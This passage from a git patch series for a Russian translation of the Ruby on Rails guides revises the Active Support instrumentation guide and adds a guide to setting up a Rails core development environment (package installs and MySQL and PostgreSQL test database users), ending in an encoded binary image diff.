raise e unless e.missing_name? "#{module_name}Helper" diff --git a/source/index.yml b/source/index.yml index 90341d49..48afba55 100644 --- a/source/index.yml +++ b/source/index.yml @@ -89,8 +89,8 @@ pages: - title: Расширения ядра Active Support path: active-support-core-extensions file: active_support_core_extensions.md - revision: 5accf7a7716b236394ff2cd806ff5d25ffbf9776 - date: 03/12/2014 + revision: 8c1b99ced51cb03ac6fd9f72e45e9c40b054eff4 + date: 08/06/2015 - title: Инструметарий Active Support path: active-support-instrumentation From 2160af29180eea5209495896d6b8034d4b268a8d Mon Sep 17 00:00:00 2001 From: Markov Alexey Date: Thu, 23 Jul 2015 21:56:57 +0300 Subject: [PATCH 059/932] Update active support instr --- source/active_support_instrumentation.md | 57 +++++++++++++----------- source/index.yml | 4 +- 2 files changed, 33 insertions(+), 28 deletions(-) diff --git a/source/active_support_instrumentation.md b/source/active_support_instrumentation.md index e0bbd8b5..76989aee 100644 --- a/source/active_support_instrumentation.md +++ b/source/active_support_instrumentation.md @@ -1,13 +1,13 @@ Инструментарий Active Support ============================ -Active Support — часть ядра Rails, которая предоставляет расширение языка Ruby, утилиты и другие возможности. Одна из них включает инструментарий API, который может использоваться внутри приложения, для отслеживания определенных действий, которые возникают как в коде Ruby, так и внутри приложения Rails и самого фреймворка. Однако, он не ограничен Rails. При необходимости его можно независимо использовать в других скриптах Ruby. +Active Support — часть ядра Rails, которая предоставляет расширение языка Ruby, утилиты и другие возможности. Она включает инструментарий API, который может использоваться внутри приложения, для отслеживания определенных действий, которые возникают как в коде Ruby, так и внутри приложения Rails и самого фреймворка. Однако, она не ограничена Rails. При необходимости ее можно независимо использовать в других скриптах Ruby если вы желаете. В этом руководстве вы научитесь использовать инструменты Active Support API для отслеживания событий внутри Rails или другого Ruby кода. После прочтения данного руководства вы будете знать: -* Какой предоставлется инструментарий. +* Какой инструментарий предоставляется. * Какие есть хуки внутри фреймворка Rails для инструментария. * О добавлении подписчиков к хукам. * О построении произвольной реализации инструментария. @@ -21,7 +21,7 @@ Active Support — часть ядра Rails, которая предостав Например, есть хук внутри Active Record который вызывается каждый раз когда Active Record использует запрос SQL к базе данных. На этот хук можно **подписаться** и использовать его для отслеживания количества запросов в течении определенного действия. Есть другой хук, оборачивающий экшны контроллеров. Он может быть использован, например, для отслеживания, как долго выполнялся определенный экшн. -Вы даже можете создать свои собственные события внутри приложения, на которые вы потом сможете подписатся. +Вы даже можете создать свои собственные события внутри приложения, на которые вы потом сможете подписаться. Хуки фреймворка Rails --------------------- @@ -108,8 +108,8 @@ Action Controller | Ключ | Значение | | ------------- | --------------------------------------------------------- | | `:controller` | Имя контроллера | -| `:action` | Экшн | -| `:params` | Хэш параметров запроса без фильтрации параметров | +| `:action` | Экшн | +| `:params` | Хэш параметров запроса без фильтрации параметров | | `:format` | html/js/json/xml и.т.д. | | `:method` | Mетод HTTP запроса | | `:path` | Путь запроса | @@ -130,12 +130,14 @@ Action Controller | Ключ | Значение | | --------------- | --------------------------------------------------------- | | `:controller` | Имя контроллера | -| `:action` | Экшн | -| `:params` | Хэш параметров запроса без фильтрации параметров | +| `:action` | Экшн | +| `:params` | Хэш параметров запроса без фильтрации параметров | | `:format` | html/js/json/xml и.т.д. | | `:method` | Mетод HTTP запроса | | `:path` | Путь запроса | -| `:view_runtime` | Количество времени, потраченного во вьюхе | +| `:status` | Код статуса HTTP | +| `:view_runtime` | Количество времени, потраченного во вьюхе | +| `:db_runtime` | Время, потраченное на выполнение запросов к БД в мс | ```ruby { @@ -223,11 +225,11 @@ Active Record ### sql.active_record -| Ключ | Значение | -| ------------ | --------------------- | -| `:sql` | выражение SQL | -| `:name` | Имя операции | -| `:object_id` | `self.object_id` | +| Ключ | Значение | +| ---------------- | --------------------- | +| `:sql` | выражение SQL | +| `:name` | Имя операции | +| `:connection_id` | `self.object_id` | INFO. Aдаптеры будут добавлять свои собственные данные. @@ -248,6 +250,20 @@ INFO. Aдаптеры будут добавлять свои собственн | `:name` | Класс записи | | `:connection_id` | `self.object_id` | +### instantiation.active_record + +| Key | Value | +| ---------------- | ----------------------------------------- | +| `:record_count` | Количество записей | +| `:class_name` | Класс записи | + +```ruby +{ + record_count: 1, + class_name: "User" +} +``` + Action Mailer ------------- @@ -273,7 +289,7 @@ Action Mailer to: ["users@rails.com", "ddh@rails.com"], from: ["me@rails.com"], date: Sat, 10 Mar 2012 14:18:09 +0100, - mail: "..." # omitted for brevity + mail: "..." # опущено для краткости } ``` @@ -299,21 +315,10 @@ Action Mailer to: ["users@rails.com", "ddh@rails.com"], from: ["me@rails.com"], date: Sat, 10 Mar 2012 14:18:09 +0100, - mail: "..." # omitted for brevity + mail: "..." # опущено для краткости } ``` -ActiveResource --------------- - -### request.active_resource - -| Ключ | Значение | -| -------------- | -------------------- | -| `:method` | Метод HTTP запроса | -| `:request_uri` | Полный URI | -| `:result` | Объект HTTP ответа | - Active Support -------------- diff --git a/source/index.yml b/source/index.yml index 90341d49..df85dea4 100644 --- a/source/index.yml +++ b/source/index.yml @@ -95,8 +95,8 @@ pages: - title: Инструметарий Active Support path: active-support-instrumentation file: active_support_instrumentation.md - revision: decd92b6fb1cca1621fc861d5c66b139575eea76 - date: 22/05/2014 + revision: 4e0c39f662805bc806a22e9b2f428cc1167d1880 + date: 25/06/2015 - title: API интернационализации Rails (I18n) path: rails-internationalization-i18n-api From 6fec90d791a50d51e74bd65eddfc180c91def142 Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sat, 25 Jul 2015 09:36:22 +0300 Subject: [PATCH 060/932] dev dependencies guide --- source/contributing_to_ruby_on_rails.md | 2 +- source/development_dependencies_install.md | 284 +++++++++++++++++++++ source/index.md | 1 + source/index.yml | 8 +- source/menu.md | 1 + 5 files changed, 293 insertions(+), 3 deletions(-) create mode 100644 source/development_dependencies_install.md diff --git a/source/contributing_to_ruby_on_rails.md b/source/contributing_to_ruby_on_rails.md index c76f1ec7..e60e1ca8 100644 --- a/source/contributing_to_ruby_on_rails.md +++ b/source/contributing_to_ruby_on_rails.md @@ -127,7 +127,7 @@ WARNING: В docrails имеется очень строгая политика: #### Сложный способ -В случае, если вы не можете использовать Rails development box, смотрите [TODO: другое руководство](/development_dependencies_install). +В случае, если вы не можете использовать Rails development box, смотрите [другое руководство](/development_dependencies_install). ### Клонирование репозитория Rails diff --git a/source/development_dependencies_install.md b/source/development_dependencies_install.md new file mode 100644 index 00000000..46777a54 --- /dev/null +++ b/source/development_dependencies_install.md @@ -0,0 +1,284 @@ +Установка зависимостей для разработки +===================================== + +Это руководство раскрывает, как настроить среду для разработки ядра Ruby on Rails. + +После прочтения этого руководства, вы узнаете: + +* Как настроить свою машину для разработки Rails +* Как запустить определенную группу юнит-тестов из тестового набора Rails +* Как работает часть тестового набора Rails, относящаяся к Active Record + +-------------------------------------------------------------------------------- + +Простой способ +-------------- + +Простейшим и рекомендованным способом получить среду разработки, готовую для программирования, является использование [Rails development box](https://github.com/rails/rails-dev-box). + +Сложный способ +-------------- + +В случае, если вы не можете использовать Rails development box, вот шаги для создания среды разработки для ядра Ruby on Rails. + +### Установите Git + +Ruby on Rails использует Git для контроля кода. На [домашней странице Git](http://git-scm.com/) есть инструкции по установке. Также в сети есть ряд ресурсов, которые помогут познакомиться с Git: + +* [Курс Try Git](http://try.github.io/) — это интерактивный курс, который научит вас основам. +* [Официальная документация](http://git-scm.com/documentation) довольно объемная, а также содержит несколько видео с основами Git. +* [Everyday Git](http://schacon.github.io/git/everyday.html) научит вас достаточному, чтобы работать с Git. +* [Скринкаст PeepCode](https://peepcode.com/products/git) по Git легко повторить. +* [GitHub](http://help.github.com) предлагает ссылки на ряд ресурсов по Git. +* [Pro Git](http://git-scm.com/book) — это целая книга о Git с лицензией Creative Commons. + +### Клонируйте репозиторий Ruby on Rails + +Перейдите в папку, в которой вы хотите разместить исходный код Ruby on Rails (он создаст свою собственную поддиректорию `rails`), и запустите: + +```bash +$ git clone git://github.com/rails/rails.git +$ cd rails +``` + +### Настройте и запустите тесты + +Тестовый набор должен проходить для любого отправляемого кода. Вне зависимости, пишите ли вы новый код, или проверяете чей-то, вам нужно иметь возможность запускать тесты. + +Сначала установите SQLite3 и его файлы для разработки для гема `sqlite3`. Пользователи Mac OS X это могут сделать так: + +```bash +$ brew install sqlite3 +``` + +В Ubuntu это делается так: + +```bash +$ sudo apt-get install sqlite3 libsqlite3-dev +``` + +Если у вас Fedora или CentOS, то так + +```bash +$ sudo yum install sqlite3 sqlite3-devel +``` + +Если у вас Arch Linux, нужно запустить: + +```bash +$ sudo pacman -S sqlite +``` + +Для пользователей FreeBSD, это делается так: + +```bash +# pkg install sqlite3 +``` + +Или скомпилируйте порт `databases/sqlite3`. + +Получите последнюю версию [Bundler](http://bundler.io/) + +```bash +$ gem install bundler +$ gem update bundler +``` + +и запустите: + +```bash +$ bundle install --without db +``` + +Эта команда установит все зависимости, кроме Ruby-драйверов MySQL и PostgreSQL. К ним мы скоро вернемся. + +NOTE: Если вы хотите запустить тесты, использующие memcached, необходимо убедиться, что он у вас установлен и запущен. + +Можно использовать [Homebrew](http://brew.sh/) для установки memcached на OS X: + +```bash +$ brew install memcached +``` + +На Ubuntu можно установить его с помощью apt-get: + +```bash +$ sudo apt-get install memcached +``` + +Или использовать yum на Fedora или CentOS: + +```bash +$ sudo yum install memcached +``` + +Если вы запускаете на Arch Linux: + +```bash +$ sudo pacman -S memcached +``` + +Для пользователей FreeBSD, это делается так: + +```bash +# pkg install memcached +``` + +Альтернативно можно скомпилировать порт `databases/memcached`. + +Теперь, когда установлены зависимости, можно запустить тестовый набор с помощью: + +```bash +$ bundle exec rake test +``` + +Также можно запустить тесты для отдельного компонента, например Action Pack, перейдя в его директорию и запустив ту же самую команду: + +```bash +$ cd actionpack +$ bundle exec rake test +``` + +Если хотите запустить тесты, расположенные в определенной директории, используйте переменную среды `TEST_DIR`. Например, это запустит тесты только в директории `railties/test/generators`: + +```bash +$ cd railties +$ TEST_DIR=generators bundle exec rake test +``` + +Можно запустить тесты для определенного файла, используя: + +```bash +$ cd actionpack +$ bundle exec ruby -Itest test/template/form_helper_test.rb +``` + +Или можно запустить отдельный тест в определенном файле: + +```bash +$ cd actionpack +$ bundle exec ruby -Itest path/to/test.rb -n test_name +``` + +### Настройка Active Record + +Тестовый набор Active Record пытается запуститься четыре раза: один для SQLite3, один для каждого из двух гемов MySQL (`mysql` и `mysql2`), и один для PostgreSQL. Мы собираемся показать, как настроить среду для них. + +WARNING: Если вы работаете с кодом, вы _обязаны_ убедиться, что тесты проходят как минимум для MySQL, PostgreSQL и SQLite3. Тонкости в различии между различными адаптерами лежали в основе отклонения многих изменений, которые выглядели хорошо, когда их тестировали только на MySQL. + +#### Конфигурация базы данных + +Тестовый набор Active Record требует пользовательский файл настроек: `activerecord/test/config.yml`. Пример представлен в `activerecord/test/config.example.yml`, который можно скопировать и использовать в своей среде. + +#### MySQL и PostgreSQL + +Чтобы запускать набор для MySQL и PostgreSQL, нам нужны их гемы. Сначала установите серверы, их клиентские библиотеки и их файлы для разработки. + +На OS X можно выполнить: + +```bash +$ brew install mysql +$ brew install postgresql +``` + +Чтобы их запустить, следуйте инструкциям Homebrew. + +В Ubuntu просто запустите: + +```bash +$ sudo apt-get install mysql-server libmysqlclient15-dev +$ sudo apt-get install postgresql postgresql-client postgresql-contrib libpq-dev +``` + +На Fedora или CentOS просто запустите: + +```bash +$ sudo yum install mysql-server mysql-devel +$ sudo yum install postgresql-server postgresql-devel +``` + +Если вы запускаете на Arch Linux, MySQL больше не поддерживается, поэтому вам нужно вместо него использовать MariaDB (смотрите [этот анонс](https://www.archlinux.org/news/mariadb-replaces-mysql-in-repositories/)): + +```bash +$ sudo pacman -S mariadb libmariadbclient mariadb-clients +$ sudo pacman -S postgresql postgresql-libs +``` + +Пользователи FreeBSD должны запустить следующее: + +```bash +# pkg install mysql56-client mysql56-server +# pkg install postgresql94-client postgresql94-server +``` + +Или установить их с помощью портов (они расположены в папке `databases`). Если у вас затруднения при установке MySQL, обратитесь к +[доументации MySQL](http://dev.mysql.com/doc/refman/5.1/en/freebsd-installation.html). + +После этого запустите: + +```bash +$ rm .bundle/config +$ bundle install +``` + +Сперва нам нужно удалить `.bundle/config`, так как Bundler запоминает, что мы не хотели устанавливать группу "db" (альтернативно вы можете отредактировать этот файл). + +Чтобы было можно запускать тесты на MySQL, необходимо создать пользователя с именем `rails` с привелегиями на тестовые базы данных: + +```bash +$ mysql -uroot -p + +mysql> CREATE USER 'rails'@'localhost'; +mysql> GRANT ALL PRIVILEGES ON activerecord_unittest.* + to 'rails'@'localhost'; +mysql> GRANT ALL PRIVILEGES ON activerecord_unittest2.* + to 'rails'@'localhost'; +mysql> GRANT ALL PRIVILEGES ON inexistent_activerecord_unittest.* + to 'rails'@'localhost'; +``` + +и создать тестовые базы данных: + +```bash +$ cd activerecord +$ bundle exec rake db:mysql:build +``` + +Аутентификация PostgreSQL работает по-другому. Чтобы настроить среду разработки для своего аккаунта на Linux или BSD, просто запустите: + +```bash +$ sudo -u postgres createuser --superuser $USER +``` + +и для OS X: + +```bash +$ createuser --superuser $USER +``` + +Затем нужно создать тестовые базы данных с помощью + +```bash +$ cd activerecord +$ bundle exec rake db:postgresql:build +``` + +Можно создать базы данных для обоих PostgreSQL и MySQL с помощью + +```bash +$ cd activerecord +$ bundle exec rake db:create +``` + +Можно очистить базы данных с помощью + +```bash +$ cd activerecord +$ bundle exec rake db:drop +``` + +NOTE: Использование задачи rake для создания тестовых баз данных позволяет убедиться, что они имеют правильные кодировки и сортировки. + +NOTE: Вы увидите следующее предупреждение (или локализованное предупреждение) при активации расширения HStore в PostgreSQL 9.1.x или ранее: "WARNING: => is deprecated as an operator". + +Если вы используете другую базу данных, ищите в файле `activerecord/test/config.yml` или `activerecord/test/config.example.yml` информацию по соединению по умолчанию. Можно отредактировать `activerecord/test/config.yml`, чтобы представить другие учетные данные для вашей машины, если небоходимо, но, очевидно, вы не должны отправлять такие изменения обратно в Rails. diff --git a/source/index.md b/source/index.md index e74b2b93..1c2d3aed 100644 --- a/source/index.md +++ b/source/index.md @@ -71,6 +71,7 @@ Ruby on Rails — это веб-фреймворк с открытым кодо - [Вносим вклад в Ruby on Rails](/contributing_to_ruby_on_rails) := Rails — это не 'чей-то там фреймворк'. Это руководство раскрывает многообразие способов, которыми вы можете быть вовлечены в продолжающуюся разработку Rails. - [Рекомендации по документированию API](/api_documentation_guidelines) := Это руководство документирует рекомендации для документации Ruby on Rails. - [Рекомендации для руководств по Ruby on Rails](/ruby_on_rails_guides_guidelines) := Это руководство документирует рекомендации для руководств по Ruby on Rails. +- [Установка зависимостей для разработки](/development_dependencies_install) := Это руководство раскрывает, как настроить среду для разработки ядра Ruby on Rails. ## Заметки о релизах diff --git a/source/index.yml b/source/index.yml index f64a9b32..1a286a71 100644 --- a/source/index.yml +++ b/source/index.yml @@ -218,6 +218,12 @@ pages: revision: 86b6c773378383c902c24b5b5917177bde4e8d62 date: 28/04/2015 + - title: Рекомендации для руководств по Ruby on Rails + path: development_dependencies_install + file: development_dependencies_install.md + revision: 068ab23a33b245d8f481bb839549806280effe48 + date: 18/06/2015 + - title: Руководство по обновлению Ruby on Rails path: upgrading-ruby-on-rails file: upgrading_ruby_on_rails.md @@ -267,8 +273,6 @@ images: plan: - file: active_record_postgresql.md - file: api_app.md - - file: development_dependencies_install.md - todo: 3 - file: maintenance_policy.md - file: profiling.md - file: rails_application_templates.md diff --git a/source/menu.md b/source/menu.md index d9acc249..a5655d64 100644 --- a/source/menu.md +++ b/source/menu.md @@ -58,6 +58,7 @@ next_column * [Вносим вклад в Ruby on Rails](/contributing_to_ruby_on_rails) * [Рекомендации по документированию API](/api_documentation_guidelines) * [Рекомендации для руководств по Ruby on Rails](/ruby_on_rails_guides_guidelines) + * [Установка зависимостей для разработки](/development_dependencies_install) * **Заметки о релизах** From 2b19f03e0f3feae99a14343b3b47d61c81cad50c Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sat, 25 Jul 2015 11:07:34 +0300 Subject: [PATCH 061/932] update getting started guide --- .../getting_started/article_with_comments.png | Bin 15190 -> 22560 bytes .../images/getting_started/rails_welcome.png | Bin 94542 -> 142320 bytes source/getting_started.md | 129 +++++++++--------- source/index.yml | 12 +- 4 files changed, 69 insertions(+), 72 deletions(-) diff --git a/public/images/getting_started/article_with_comments.png b/public/images/getting_started/article_with_comments.png index 117a78a39f7ca37d248f16c48968a41628d6892b..c489e4c00e81cd8ddf4a53214f0b31ca2a37ee90 100644 GIT binary patch literal 22560 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 